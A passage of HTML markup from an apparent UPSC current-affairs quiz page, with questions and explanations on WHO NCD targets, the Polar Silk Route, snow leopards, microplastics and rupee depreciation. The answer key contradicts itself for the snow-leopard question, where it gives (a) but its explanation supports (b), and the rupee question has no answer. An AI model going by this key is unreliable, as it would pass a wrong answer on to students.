UHC.<\/li>\n\n\n\n<li><strong>Strengthen Health Systems:<\/strong> Enhance health systems to deliver effective NCD prevention, treatment, and care.<\/li>\n\n\n\n<li><strong>Monitor Progress:<\/strong> Develop robust monitoring and evaluation frameworks to track progress and outcomes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Nine Global Voluntary Targets (for 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li><strong>Tobacco Use:<\/strong> Reduce the prevalence of tobacco use by 30%.<\/li>\n\n\n\n<li><strong>Physical Activity:<\/strong> Increase physical activity by 10%.<\/li>\n\n\n\n<li><strong>Salt Intake:<\/strong> Reduce mean population salt intake by 30%.<\/li>\n\n\n\n<li><strong>Alcohol Consumption:<\/strong> Reduce the harmful use of alcohol by 10%.<\/li>\n\n\n\n<li><strong>Raised Blood Pressure:<\/strong> Reduce the prevalence of raised blood pressure by 25%.<\/li>\n\n\n\n<li><strong>Obesity and Diabetes:<\/strong> Halt the rise in obesity and diabetes.<\/li>\n\n\n\n<li><strong>Drug Therapy and Counseling:<\/strong> Ensure that 50% of eligible people receive drug therapy and counseling to prevent heart attacks and strokes.<\/li>\n\n\n\n<li><strong>Premature Mortality:<\/strong> Achieve a 25% relative reduction in risk of premature mortality from cardiovascular diseases, cancer, diabetes, or chronic respiratory diseases.<\/li>\n\n\n\n<li><strong>Essential Medicines:<\/strong> Ensure 80% availability of affordable essential medicines and basic technologies for NCDs in both public and private facilities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"477\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-16.jpg\" alt=\"\" class=\"wp-image-2535\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-16.jpg 600w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-16-300x239.jpg 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. &#8220;Momentum for Change: Climate Neutral Now&#8221; is an initiative launched by<\/strong> <br><br>(a) The Intergovernmental Panel on Climate Change <br>(b) The UNEP Secretariat <br>(c) The UNFCCC Secretariat <br>(d) The World Meterological Organisation<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/health\/only-three-who-regions-on-track-to-achieve-30-tobacco-use-reduction-target\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/health\/only-three-who-regions-on-track-to-achieve-30-tobacco-use-reduction-target<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>6. What is the \u201cPolar Silk Route\u201d, sometimes seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(a) A proposed railway line connecting China to Europe through the Himalayas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(b) A maritime trade route across the Arctic Ocean connecting Asia and Europe.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(c) A high-speed fiber-optic cable project linking polar research stations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(d) An overland pipeline transporting natural gas from Siberia to China via the Arctic.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Answer: (b) A maritime trade route across the Arctic Ocean connecting Asia and Europe.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>In NEWS: <\/strong>As China\u2019s \u2018Istanbul Bridge\u2019 chugs the Northern Sea Route for the UK, study warns of grim consequences for the Arctic<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>The Polar Silk Route (PSR):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>The Polar Silk Route (PSR) is a proposed Arctic shipping route linking East Asia and Europe via the Northern Sea Route (NSR) along Russia\u2019s Arctic coast. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is part of China\u2019s Belt and Road Initiative (BRI) and was formally introduced in China&#8217;s 2018 Arctic Policy.<\/li>\n\n\n\n<li>The PSR offers a shorter maritime path\u2014up to 40% less distance\u2014than traditional routes like the Suez Canal.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Strategic Importance and Geopolitical Implications:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>China sees the PSR as a way to diversify trade routes and reduce dependence on chokepoints like the Suez Canal and Strait of Malacca.<\/li>\n\n\n\n<li>The route strengthens China\u2019s position as a \u201cnear-Arctic state\u201d, increasing its involvement in Arctic affairs.<\/li>\n\n\n\n<li>The PSR is expected to enhance China\u2013Europe trade by lowering shipping time and fuel costs.<\/li>\n\n\n\n<li>The PSR may heighten geopolitical competition in the Arctic among China, Russia, the US, and other Arctic nations.<\/li>\n\n\n\n<li>Russia controls the NSR and requires ships to use icebreaker escorts and follow Polar Code regulations.<\/li>\n\n\n\n<li>There is growing concern over the lack of international governance for shipping impacts in the Arctic Ocean.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Environmental Concerns:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>The viability of the PSR depends on Arctic sea ice melting, which is a direct result of climate change.<\/li>\n\n\n\n<li>Increased Arctic shipping could lead to higher emissions of black carbon, which accelerates ice melt when deposited on snow and ice.<\/li>\n\n\n\n<li>The Arctic region has limited capacity to handle oil spills or maritime accidents, making increased traffic risky.<\/li>\n\n\n\n<li>Sensitive Arctic ecosystems and Indigenous communities face serious threats from expanded maritime activity.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Which one of the following statements best describes the &#8216;Polar Code&#8217;?<\/strong> <br><br><strong>(a) It is the international code of safety for ships operating in polar waters.<\/strong><br>(b) It is the agreement of the countries around the North Pole regarding the demarcation of their territories in the polar region. <br>(c) It is a set of norms to be followed by the countries whose scientists undertake research studies in the North Pole and South Pole. <br>(d) It is a trade and security agreement of the member countries of the Arctic Council.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/as-chinas-istanbul-bridge-chugs-the-northern-sea-route-for-the-uk-study-warns-of-grim-consequences-for-the-arctic\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/as-chinas-istanbul-bridge-chugs-the-northern-sea-route-for-the-uk-study-warns-of-grim-consequences-for-the-arctic<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>7. Consider the following statements:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Statement I: <\/strong>Snow leopards exhibit significantly low levels of genetic variation.<strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Statement II: <\/strong>Snow leopards have undergone historic inbreeding due to their consistently small populations living in rugged, isolated mountain regions. <strong>\u00a0\u00a0<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Statement III: <\/strong>Limited genetic diversity may reduce Snow leopards\u2019 resilience to climate change, disease, and habitat loss.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Answer: (a) Both Statement II and Statement III are correct and both of them explain Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>In NEWS: <\/strong>Snow leopards have very low genetic diversity, which puts their future at risk, finds Stanford study<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Low genetic diversity in snow leopards:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li>Snow leopards (Panthera uncia) have very low genetic diversity, meaning their overall genetic variation is limited.<strong> Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The study involved 41 full genome sequences: 35 wild snow leopards + 6 from zoos. Previously only 4 individuals had full genome data.<\/li>\n\n\n\n<li>The cause is not a recent bottleneck (as in many big cats) but a long\u2010term, persistently small population size living in harsh mountainous habitat. Because of this, snow leopards have had historic inbreeding over long periods. <strong>Hence statement II is correct and explains Statement I.<\/strong><\/li>\n\n\n\n<li>Adaptive potential is constrained: With low genetic diversity, ability to adapt to new threats (e.g. diseases, changing prey, warming climate) is reduced.<\/li>\n\n\n\n<li>Greater vulnerability to stochastic events: A disease outbreak or sudden environmental disturbance could have outsized effects since there\u2019s less genetic \u201cbackup.\u201d <strong>Hence statement III is correct but does not explain Statement I. Statement III is a consequence and not a cause for Statement I.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Snow Leopard:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>The snow leopard (Panthera uncia) is a large carnivorous cat native to the high mountain ranges of Central and South Asia.<\/li>\n\n\n\n<li>Snow leopards inhabit high-altitude mountains (3,000\u20135,500 m), including the Himalayas, Karakoram, Pamirs, and Tien Shan ranges.<\/li>\n\n\n\n<li>Countries where they are found include:<strong> India, Nepal, Bhutan, China, Mongolia, Pakistan, Afghanistan, Kazakhstan, and others.<\/strong><\/li>\n\n\n\n<li>They prefer rocky terrain, cliff edges, and alpine meadows, which provide cover and strategic vantage points for hunting.<\/li>\n\n\n\n<li>They are <strong>Carnivorous apex predators<\/strong>: Main prey includes blue sheep (bharal), ibex, marmots, pikas, and domestic livestock.<\/li>\n\n\n\n<li>Solitary and mostly nocturnal or crepuscular (active at dawn and dusk).<\/li>\n\n\n\n<li>Uses stealth and surprise rather than speed to hunt.<\/li>\n\n\n\n<li>Has a long tail for balance on steep slopes and as insulation when wrapped around the body in cold.<\/li>\n\n\n\n<li>IUCN Status: <strong>Vulnerable<\/strong><\/li>\n\n\n\n<li>Protected under <strong>CITES Appendix I <\/strong>(ban on international trade).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><strong>Q. Consider the following:<\/strong> <br><br>1. Black-necked crane <br>2. Cheetah <br>3. Flying squirrel <br>4. Snow leopard <br><br><strong>Which of the above are naturally found in India?<\/strong> <br><br>(a) 1, 2 and 3 only <br><strong>(b) 1, 3 and 4 only<\/strong> <br>(c) 2 and 4 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/snow-leopards-have-very-low-genetic-diversity-which-puts-their-future-at-risk-finds-stanford-study\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/snow-leopards-have-very-low-genetic-diversity-which-puts-their-future-at-risk-finds-stanford-study<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>8. There is a concern over the increase in harmful impact of microplastics. What could be the harmful consequences of this phenomenon?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">1. Bioaccumulation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">2. Damage OF Coral reefS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">3. Soil degradation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">4. Cellular damage in humans<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Select the correct answer from the codes given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(a) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>In NEWS: <\/strong>Microplastics impact coral reproduction at multiple stages: Report<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-159\">\n<li>Chemicals that leach out from microplastics significantly reduce survival and settlement of coral planula larvae.<\/li>\n\n\n\n<li>The effect depends on species, type of polymer, concentration, and exposure time.<\/li>\n\n\n\n<li>Corals were exposed to microplastic leachate from four plastic types &#8211; nylon, polypropylene (PP), high-density polyethylene (HDPE) or low-density polyethylene (LDPE)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Microplastics:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">Microplastics are plastic particles <strong>smaller than 5 mm in size.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">They can be:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>Primary microplastics \u2013 made small intentionally (e.g., microbeads).<\/li>\n\n\n\n<li>Secondary microplastics \u2013 result from breakdown of larger plastic debris.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Primary Microplastics:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">Personal care products &#8211; Microbeads in face washes, toothpaste, scrubs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">Industrial abrasives&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &#8211; Used in sandblasting, textile processing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">Plastic pellets (nurdles) &#8211; Used as raw material in plastic manufacturing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Secondary Microplastics:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">Plastic waste breakdown &#8211;&nbsp; Bottles, bags, wrappers degraded by UV, waves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">Synthetic clothing fibers&nbsp; &#8211;&nbsp; Polyester, nylon shed in laundry water<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">Tire wear particles&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &#8211;&nbsp; Rubber from car tires worn onto roads, washed into waterways<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">Paints &amp; coatings&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &#8211;&nbsp; Marine paints, road markings<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">Fishing gear degradation &#8211;&nbsp; Nets, lines, floats breaking down in oceans<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Harms of Microplastics:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Environmental Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-176\">\n<li>Marine pollution&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/li>\n\n\n\n<li>Harm to marine life&nbsp;<\/li>\n\n\n\n<li><strong>Bioaccumulation&nbsp;&nbsp;&nbsp;&nbsp;<\/strong><\/li>\n\n\n\n<li><strong>Coral reef damage<\/strong><\/li>\n\n\n\n<li><strong>Soil degradation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Human Health Concerns<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>Food &amp; water &#8211; Found in seafood, salt, bottled water, fruits &amp; vegetables<\/li>\n\n\n\n<li>Inhalation &#8211; Airborne microplastic fibers from synthetic fabrics, dust<\/li>\n\n\n\n<li>Toxic chemicals &#8211; Plastics contain additives (BPA, phthalates, flame retardants) that may disrupt hormones<\/li>\n\n\n\n<li><strong>Cellular damage<\/strong> &#8211; Studies show microplastics can cause inflammation and stress in cells<\/li>\n\n\n\n<li>Crossing barriers &#8211; Detected in human blood, lungs, placenta \u2013 potential unknown long-term effects<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. Why is there a great concern about the \u2018microbeads&#8217; that are released into environment?<\/strong> <br><br><strong>(a) They are considered harmful to marine ecosystems.<\/strong> <br>(b) They are considered to cause skin cancer in children. <br>(c) They are small enough to be absorbed by crop plants in irrigated fields. <br>(d) They are often found to be used as food adulterants.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/microplastics-impact-coral-reproduction-at-multiple-stages-report\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/microplastics-impact-coral-reproduction-at-multiple-stages-report<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>9. Which of the following factors generally lead to depreciation of the Indian rupee?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">1. Increase in crude oil prices<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">2. Fall in U.S. interest rates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">3. Rise in capital inflows<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">4. Increase in current account deficit<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(a) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">(c) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(d) 1, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Answer:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>In NEWS: <\/strong>Rupee falls 3 paise to close at 88.80 against U.S. dollar<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-194\">\n<li>The <strong>Indian rupee<\/strong> depreciated by <strong>3 paise<\/strong>, closing at <strong>\u20b988.80 per U.S. dollar<\/strong>.<\/li>\n\n\n\n<li>The fall was attributed to <strong>a stronger U.S. dollar index<\/strong>, <strong>foreign fund outflows<\/strong>, and <strong>rising crude oil prices<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>Rupee Depreciation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-196\">\n<li><strong>Rupee depreciation<\/strong> means a <strong>fall in the value of the Indian rupee<\/strong> against a foreign currency (usually the <strong>U.S. dollar<\/strong>) in a <strong>floating exchange rate system<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>For example:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-198\">\n<li>If \u20b91 = $0.012 \u2192 becomes \u20b91 = $0.011 \u2192 the rupee has <strong>depreciated<\/strong> (you now need more rupees to buy one dollar).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Types of Exchange Rate Movements<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Term<\/strong><\/td><td><strong>Meaning<\/strong><\/td><\/tr><tr><td><strong>Depreciation<\/strong><\/td><td>Fall in value of domestic currency due to market forces (flexible exchange rate).<\/td><\/tr><tr><td><strong>Devaluation<\/strong><\/td><td>Fall in value of domestic currency by government decision (fixed exchange rate).<\/td><\/tr><tr><td><strong>Appreciation<\/strong><\/td><td>Rise in value of domestic currency due to market forces.<\/td><\/tr><tr><td><strong>Revaluation<\/strong><\/td><td>Rise in value of domestic currency by official decision.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>Major Causes of Rupee Depreciation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\"><strong>1. High Crude Oil Prices:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">India imports ~85% of its crude needs \u2192 increases demand for dollars. <strong>Hence 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>2. Current Account Deficit (CAD):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">Higher imports than exports lead to more dollar outflow. <strong>Hence 4 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>3. Foreign Portfolio Outflows:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\">When FPIs withdraw investments, they convert rupees to dollars, reducing rupee demand. <strong>Hence 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>4. Strong U.S. Dollar:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\">The Federal Reserve\u2019s high interest rates attract capital to the U.S. <strong>Hence 2 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>5. Inflation Differential:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-210 wp-block-paragraph\">Higher inflation in India erodes the rupee&#8217;s purchasing power.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><strong>6. Geopolitical &amp; Global Uncertainty:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">Wars, conflicts, or global recession increase demand for the dollar as a \u201csafe haven.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\"><strong>Impact of Rupee Depreciation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-214 wp-block-paragraph\"><strong>Negative Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-215\">\n<li><strong>Costlier Imports:<\/strong> Oil, gold, fertilizers, and electronics become expensive.<\/li>\n\n\n\n<li><strong>Inflationary Pressure:<\/strong> Imported inflation due to higher input costs.<\/li>\n\n\n\n<li><strong>Widening CAD:<\/strong> More dollars spent on imports.<\/li>\n\n\n\n<li><strong>Debt Servicing Pressure:<\/strong> External borrowings become costlier in rupee terms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\"><strong>Positive Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-217\">\n<li><strong>Boosts Exports:<\/strong> Indian goods become cheaper abroad.<\/li>\n\n\n\n<li><strong>Tourism &amp; Remittances:<\/strong> Foreign remittances gain more rupee value.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-218 wp-block-paragraph\"><strong>RBI\u2019s Role in Managing Depreciation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-219\">\n<li><strong>Intervention:<\/strong> Sells dollars from <strong>forex reserves<\/strong> to stabilize the rupee.<\/li>\n\n\n\n<li><strong>Monetary Policy Tools:<\/strong> Adjusts interest rates and liquidity conditions.<\/li>\n\n\n\n<li><strong>Market Confidence:<\/strong> Issues policy statements to prevent panic.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background 